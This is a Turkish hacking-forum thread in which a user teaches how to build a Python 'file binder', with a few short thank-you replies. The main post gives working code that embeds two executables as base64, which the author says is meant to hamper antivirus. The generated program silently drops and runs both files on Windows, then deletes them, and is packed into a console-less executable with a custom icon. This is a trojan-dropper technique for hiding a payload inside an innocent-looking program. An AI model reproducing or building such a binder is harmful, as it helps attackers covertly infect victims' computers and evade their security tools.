İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

Python ile File Binder Yazalım! / Ar-Ge Kulübü

b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
22-04-2017 14:44
#1
Python ile File Binder Yazalım! / Ar-Ge Kulübü
[COLOR="LemonChiffonMerhabalar, ben Black Viking. Bu konuda Python ile bir binder yazalım dedim.
Şimdii, en başta projeyi yazacağımız dili seçiyoruz, başlıktan anlayacağınız üzere ben Python'u seçtim. Python bilmiyorsanız bile, okursanız binderlein çalışma mantığını anlayabilirsiniz.

Github: https://github.com/blackvkng/FileBinder

Projenin nasıl çalışacağını düşünmeliyiz, bir binder iki dosyanın içeriğini alıp onları sonradan çalıştıran bir exe dosyası oluşturmalı.
Tamamdır, o zaman biz de dosyayı binary şeklinde programa okutur ve bir değişkene atarız. Atadığımz değişkendeki veriyi program sonradan bir dosyaya kaydedip çalıştırır ve ardından siler.

Artık algoritmamız hazır, hemen gerekli gördüğümüz modülleri import edip main fonksiyonumuzu yazalım.





Görüldüğü üzere, dosya isimlerini, gerekli değişknleri falan atadık.
Burda öenmli olan nokta,
Kod:
...
		file1binary = base64.b64encode(open(file1Name, "rb").read())
		file2binary = base64.b64encode(open(file2Name, "rb").read())
...

Burda dosyaları açıp, içeriklerini binary formatında aldıkve base64 ile encode ettik.
Neden base64 ile encode ettik derseniz, binary'i base64 formatında saklamak, antilerin işini zorlaştıracaktır

Sonra değişkenleri "generatePyBinder" fonksiyonuna göndermişiz, haydi o fonksiyonu inceleyelim.


Ooo, işte en önemli fonksiyon... Bu fonksiyon bir Python scripti oluşturuıyor. İşte bu script iki dosyanın içeriğini bir sonradan açtığı bir dosyaya kaydedip o dosyaların her ikisini de çalıştırıyor.

Kod:
def generatePyBinder(name, f1name, f2name, f1, f2):
	template = """
import os
import sys
import time
import base64

def main():
	file1Name = "%s"
	file2Name = "%s"
	
	file1binary = base64.b64decode("%s")
	file2binary = base64.b64decode("%s")

	file1 = open(file1Name, "wb")
	file1.write(file1binary)
	file1.flush()
	file1.close()

	file2 = open(file2Name, "wb")
	file2.write(file2binary)
	file2.flush()
	file2.close()

	os.startfile(file1Name)
	os.startfile(file2Name)

	time.sleep(3)

	os.remove(file1Name)
	os.remove(file2Name)

if __name__ == "__main__":
	if os.name == "nt":
		try:
			main()
		except:
			pass

	else:
		sys.exit()"""%(f1name, f2name, f1, f2)

	file = open(name+".py", "w")
	file.write(template)
	file.flush()
	file.close()

	return name+".py"

Biraz daha ayrıntılı inceleyelim, şimdi binary formatında aldığımız veriyi,

Kod:
...
	file1binary = base64.b64decode("%s")
	file2binary = base64.b64decode("%s")
...

değişkenlerine base64 decode ederek atamışız. Sonra da, bunları bir dosyaya yazdırmışız,

Kod:
...
	file1 = open(file1Name, "wb")
	file1.write(file1binary)
	file1.flush()
	file1.close()

	file2 = open(file2Name, "wb")
	file2.write(file2binary)
	file2.flush()
	file2.close()
...

Evet artık, çalıştırmamız gerek, çalıştıktan sonra da silmeliyiz dosyaları...

Kod:
...
	os.startfile(file1Name)
	os.startfile(file2Name)

	time.sleep(3)

	os.remove(file1Name)
	os.remove(file2Name)
...

Bu kadar, dosyaları çalıştırdı ve sonrasında sildi... Görevini yerine getirdi. Ama bunu yapan script py formatında olmamalı, exe olmalı... Bunun için PyInstaller kullandık. Kurması çok basittir,

Kod:
python -m pip install pyinstaller

Bu kadar, şimdi nasıl kullanıldığına bakalım. Bu dosya çalıştığında konsol gözükmemeli, bir icon dosyası olmalı, tek bir dosya olmalı. PyInstaller'in parametrelerine bakalım,

Kod:
--onefile
--noconsole
--icon=your_icon.ico

Tam da ihtiyacımız olan parametreler... O zaman exe oluşturan fonksiyonumuzu da yazalım


Fonksiyonuzmuz bu, "args" değişkeni gördüğünüz üzere, icon adını ve exe formatına çevirlecek py dosyasının adını almış.
Sonra subprocess ile "args" değişkeninde yer alan komutları çalıştırdık.

En son oluşan exe dosyasını bir önceki dizine kopyaladık ve önceden oluşturduğumuz gereksiz(?) exec dizinini sildik...

Kodumuz bu kadardı, hadi bir de çalıştırmayı deneyelim,


Evet! Exe dosyamız oluştu, artık çalışıyor mu diye deneyebilirsiniz.

Bir yanlışım olduysa, özür diliyorum...
Buraya kadar okuduysanız, teşekkür ederim. Umarım yararlı olmuştur.[/COLOR]
Pentester Teşekkür etti.
OmerFarukHan - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
Sinop
Mesajlar:
1.615
Konular:
34
Teşekkür (Etti):
101
Teşekkür (Aldı):
126
Ticaret:
(0) %
22-04-2017 14:53
#2
Eline sağlık
--------------------- 2019 Dönüş Vakti Olacak.
Pentester - ait Kullanıcı Resmi (Avatar)
Researcher
Üyelik tarihi:
09/2016
Mesajlar:
1.169
Konular:
89
Teşekkür (Etti):
613
Teşekkür (Aldı):
484
Ticaret:
(0) %
22-04-2017 14:58
#3
Eline sağlık Viking
---------------------
"Benim naçiz vücudum, bir gün elbet toprak olacaktır. Fakat Türkiye Cumhuriyeti, ilelebet payidar kalacaktır."
Mustafa Kemal ATATÜRK

Yapabildiğimiz her şeyi yapsaydık, buna kendimiz bile şaşardık.
b0mb - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
03/2017
Nereden:
İzmir
Yaş:
17
Mesajlar:
471
Konular:
64
Teşekkür (Etti):
143
Teşekkür (Aldı):
221
Ticaret:
(0) %
22-04-2017 19:10
#4
Teşekkür ederim

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı